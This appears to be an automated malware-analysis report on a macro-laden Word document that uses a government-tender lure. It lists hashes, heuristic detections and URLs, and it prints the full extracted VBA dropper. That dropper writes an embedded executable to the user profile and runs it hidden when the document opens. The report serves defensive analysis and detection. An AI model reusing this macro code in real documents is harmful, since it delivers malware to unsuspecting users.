Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b027636a9695a30d…

MALICIOUS

Office (OOXML)

585.7 KB Created: 2016-10-01 05:03:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2016-10-26
MD5: 379a18c3d1f634265719e673bf1b5de8 SHA-1: 192d2b229f0347d1934e3e182be643dc24ea8593 SHA-256: b027636a9695a30dfbf6153b2bc80be22ba84279076ecb4b299a8477fcdc51ca
302 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1204.002 Malicious File T1071.001 Web Protocols

The sample is an OOXML document containing VBA macros, indicated by multiple heuristic firings including 'OOXML_VBA' and 'OLE_VBA_PCODE_AUTOEXEC_EXEC'. The document body presents a lure for a government tender notice, instructing the user to enable macros for correct viewing. The extracted VBA script, 'macros.bas', contains an Auto_Open subroutine that executes 'Vdpnd12'. This function appears to construct a malicious executable file named 'oslXAbjyIA.exe' within the user's profile directory by concatenating data from document paragraphs. This executable is then likely dropped and executed, aligning with the 'Doc.Downloader.Generic-6698421-0' ClamAV detection.

Heuristics 11

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        ChDir (Vdpnd2)
        Vdpnd7 = Shell(Vdpnd10, vbHide)
    End Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
    Sub AutoOpen()
        Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
    Sub Workbook_Open()
        Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    '**************************************************************
    Sub Auto_Open()
        Vdpnd12
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        Vdpnd1 = "oslXAbjyIA.exe"
        Vdpnd2 = Environ("USERPROFILE")
        ChDrive (Vdpnd2)
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • External hyperlinks (15) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 15 external hyperlinks — clickable URLs are stored as external relationships. First target: http://www.reisauditores.com.brr/
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.reisauditores.com.brr/ Document hyperlink
    • http://www.reisauditores.com.br/Document hyperlink
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2372 bytes
SHA-256: 6a48682e9fd46421f1f5bfc54068cdb4ae16189069c4f1bf2a4248bccb57f495
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
'**************************************************************
'*
'* This code is now split into two pieces:
'*  1. The Macro. This must be copied into the Office document
'*     macro editor. This macro will run on startup.
'*
'*  2. The Data. The hex dump at the end of this output must be
'*     appended to the end of the document contents.
'*
'**************************************************************
'*
'* MACRO CODE
'*
'**************************************************************
Sub Auto_Open()
    Vdpnd12
End Sub
Sub Vdpnd12()
    Dim Vdpnd7 As Integer
    Dim Vdpnd1 As String
    Dim Vdpnd2 As String
    Dim Vdpnd3 As Integer
    Dim Vdpnd4 As Paragraph
    Dim Vdpnd8 As Integer
    Dim Vdpnd9 As Boolean
    Dim Vdpnd5 As Integer
    Dim Vdpnd11 As String
    Dim Vdpnd6 As Byte
    Dim Jhacwkilou As String
    Jhacwkilou = "Jhacwkilou"
    Vdpnd1 = "oslXAbjyIA.exe"
    Vdpnd2 = Environ("USERPROFILE")
    ChDrive (Vdpnd2)
    ChDir (Vdpnd2)
    Vdpnd3 = FreeFile()
    Open Vdpnd1 For Binary As Vdpnd3
    For Each Vdpnd4 In ActiveDocument.Paragraphs
        DoEvents
            Vdpnd11 = Vdpnd4.Range.Text
        If (Vdpnd9 = True) Then
            Vdpnd8 = 1
            While (Vdpnd8 < Len(Vdpnd11))
                Vdpnd6 = Mid(Vdpnd11, Vdpnd8, 4)
                Put #Vdpnd3, , Vdpnd6
                Vdpnd8 = Vdpnd8 + 4
            Wend
        ElseIf (InStr(1, Vdpnd11, Jhacwkilou) > 0 And Len(Vdpnd11) > 0) Then
            Vdpnd9 = True
        End If
    Next
    Close #Vdpnd3
    Vdpnd13 (Vdpnd1)
End Sub
Sub Vdpnd13(Vdpnd10 As String)
    Dim Vdpnd7 As Integer
    Dim Vdpnd2 As String
    Vdpnd2 = Environ("USERPROFILE")
    ChDrive (Vdpnd2)
    ChDir (Vdpnd2)
    Vdpnd7 = Shell(Vdpnd10, vbHide)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
'**************************************************************
'*
'* PAYLOAD DATA
'*
'**************************************************************
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12800 bytes
SHA-256: 632f68b836f07509b1569374f7f8bb5373ac125064600571a958d10ee0238a5d
Detection
ClamAV: Doc.Downloader.Generic-6698421-0
Obfuscation or payload: unlikely